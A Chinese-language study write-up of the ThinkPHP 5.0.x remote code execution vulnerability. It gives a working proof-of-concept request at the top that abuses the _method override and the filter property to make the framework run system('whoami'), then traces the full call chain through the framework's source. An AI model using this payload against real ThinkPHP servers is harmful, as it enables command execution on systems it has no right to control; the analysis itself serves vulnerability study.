总结一下关于TP5.0.x版本的RCE漏洞,备忘学习
0x01 POC
这里先给出5.0.x各个版本下的通杀POC,根据POC来理解相关的原理
xxx/public/index.php?s=captcha
POST:
_method=__construct&filter[]=system&method=get&get[]=whoami
0x02 POC分析1
这里以TP5.0.22版本为例进行分析。
这里先贴一个完整的RCE链流程
thinkphp\library\think\App.php:run()
- self::routeCheck()
- Route::check()
- $request->method():thinkphp\library\think\Request.php:__construct() //调用Request类任意方法
- self::checkRoute() //这一步自动调用设置$dispatch为method
- self::exec()
- Request::instance()->param()
- $this->input()
- $this->getFilter()
- array_walk_recursive()
- filterValue():call_user_func()
起始点:App.php\run()
首先我们需要找到TP程序的开始流程
index.php -> start.php -> APP::run()
因此在我们先从thinkphp\library\think\App.php的run方法开始
<?php
/**
* 执行应用程序
* @access public
* @param Request $request 请求对象
* @return Response
* @throws Exception
*/
public static function run(Request $request = null)
{
$request = is_null($request) ? Request::instance() : $request;
try {
...
// 获取应用调度信息
$dispatch = self::$dispatch;
// 未设置调度信息则进行 URL 路由检测
if (empty($dispatch)) {
$dispatch = self::routeCheck($request, $config);
}
...
$data = self::exec($dispatch, $config);
} catch (HttpResponseException $exception) {
...
}
...
}
在App.php中,思路是这样self::routeCheck() --> self::exec()
。run()方法会根据URL调用routeCheck进行调度解析获得$dispatch
,之后将进入到self::exec()
根据$dispatch
类型的不同来进行处理,这是一个整体的流程。具体的细节还要分别跟进self::routeCheck()
和self::exec()
注意到我们的payload中?s=captcha
。在vendor\topthink\think-captcha\src\helper.php
中注册了captcha路由,这里跟踪一下
vendor\topthink\think-captcha\src\helper.php
\think\Route::get('captcha/[:id]', "\\think\\captcha\\CaptchaController@index");
因此该captcha路由对应的$dispatch
为method
,具体原因目前还不太清楚,下面是猜测的流程,埋坑!!
跟进self::routeCheck($request, $config)
self::routeCheck() --> Route::check() --> self::checkRoute()
经过这三个调用后进入到thinkphp\library\think\Route.php的chekRoute()
方法:
$result = self::checkRule($rule, $route, $url, $pattern, $option, $depr);
if (false !== $result) {
return $result; //$result : {"type" => "method"}
}
经过该函数后$result = array("type" => "method")
,然后return回到一开始的run方法,并对$dispatch = self::routeCheck($request, $config);
,因此$dispatch
的值为array("type" => "method")
注意到在上一流程中的Route::check()
方法
thinkphp\library\think\Route.php
public static function check($request, $url, $depr = '/', $checkDomain = false)
{
...
$method = strtolower($request->method()); //$request在run()方法中已实例化为Request类的一个对象
...
if (!empty($rules)) {
return self::checkRoute($request, $rules, $url, $depr);
}
...
}
我们跟进一下$request->method()
方法
thinkphp\library\think\Request.php
public function method($method = false)
{
if (true === $method) {
// 获取原始请求类型
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{$this->method}($_POST); //注意这里
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
$this->method = $this->server('REQUEST_METHOD') ?: 'GET';
}
}
return $this->method;
}
在tp默认中设置了表单请求类型伪装变量如下:
因此我们只需要post中设置_method
,即可进入if (isset($_POST[Config::get('var_method')]))
条件,注意到$this->{$this->method}($_POST);
,这里的变量$this->method
变量是可控的,因此我们可以通过_method
传入参数实现该类任意方法的调用,这里我们调用该类的构造方法_method=__construct
,相当于$this->construct($_POST)
跟进该类的构造方法:
thinkphp\library\think\Request.php
protected function __construct($options = [])
{
foreach ($options as $name => $item) {
if (property_exists($this, $name)) {
$this->$name = $item;
}
}
if (is_null($this->filter)) {
$this->filter = Config::get('default_filter');
}
// 保存 php://input
$this->input = file_get_contents('php://input');
}
由于这是构造方法,利用foreach循环,我们可以通过POST数据来构造任意属性值,对Request类的任意成员变量进行覆盖。其中this->filter
保存着全局默认过滤规则。我们进行如下覆盖(具体原因在后面会有解释体现)
$this->method = "get"
$this->get = array("whoami");
$this->filter = array("system");
对应到POC中就是:
filter[]=system&method=get&get[]=whoami
注意我们请求的路由captcha的注册规则是\think\Route::get
,因此method()
方法结束后,返回的$this->method
的值应该为get,$method = strtolower($request->method());
,这样在后面的路由检测处理时才不会报错。所以我们在payload中设置method=get
。
在进行完上述过程后,我们将回到run()方法中,继续到后面执行self::exec($dispatch, $config)
会进行到method
分支
thinkphp\library\think\App.php
<?php
protected static function exec($dispatch, $config)
{
switch ($dispatch['type']) {
...
case 'method': // 回调方法
$vars = array_merge(Request::instance()->param(), $dispatch['var']);
$data = self::invokeMethod($dispatch['method'], $vars);
break;
...
}
return $data;
}
进入到method分支跟进Request::instance()->param()
thinkphp\library\think\Request.php
<?php
public function param($name = '', $default = null, $filter = '')
{
if (empty($this->mergeParam)) {
$method = $this->method(true);
...
}
...
// 当前请求参数和URL地址中的参数合并
$this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
$this->mergeParam = true;
...
return $this->input($this->param, $name, $default, $filter);
}
$this->param
通过array_merge
将当前请求参数和URL地址中的参数合并。回忆一下前面已经通过__construct
设置了$this->get
为whoami
。此后$this->param
其值被设置为
$this->param = array("whoami");
继续跟进$this->input($this->param, $name, $default, $filter);
<?php
public function input($data = [], $name = '', $default = null, $filter = '')
{
...
// 解析过滤器
$filter = $this->getFilter($filter, $default);
if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
}
...
}
该方法用于对请求中的数据即接收到的参数进行过滤,而过滤器通过$this->getFilter
获得,继续跟进
<?php
protected function getFilter($filter, $default)
{
if (is_null($filter)) {
$filter = [];
} else {
$filter = $filter ?: $this->filter;
if (is_string($filter) && false === strpos($filter, '/')) {
$filter = explode(',', $filter);
} else {
$filter = (array) $filter;
}
}
$filter[] = $default;
return $filter;
}
注意到前面我们已经设置$this->filter
为system
了,所以该函数返回$filter
为我们设置的值
回到input()方法,$data
为我们传入的$this->param
,进入条件后会调用代码执行函数array_walk_recursive($data, [$this, 'filterValue'], $filter)
,贴一下该函数的用法:
因此我们跟进一下$this->filterValue
方法
private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);//$filter = "system";$value = "whoami";$key = 0
...
}
$value
传入的是"whoami"(具体原因看array_walk_recursive
函数解析),$filter
为传入的$filters
的键值,也就是system
最后完成call_user_func
函数调用,完成RCE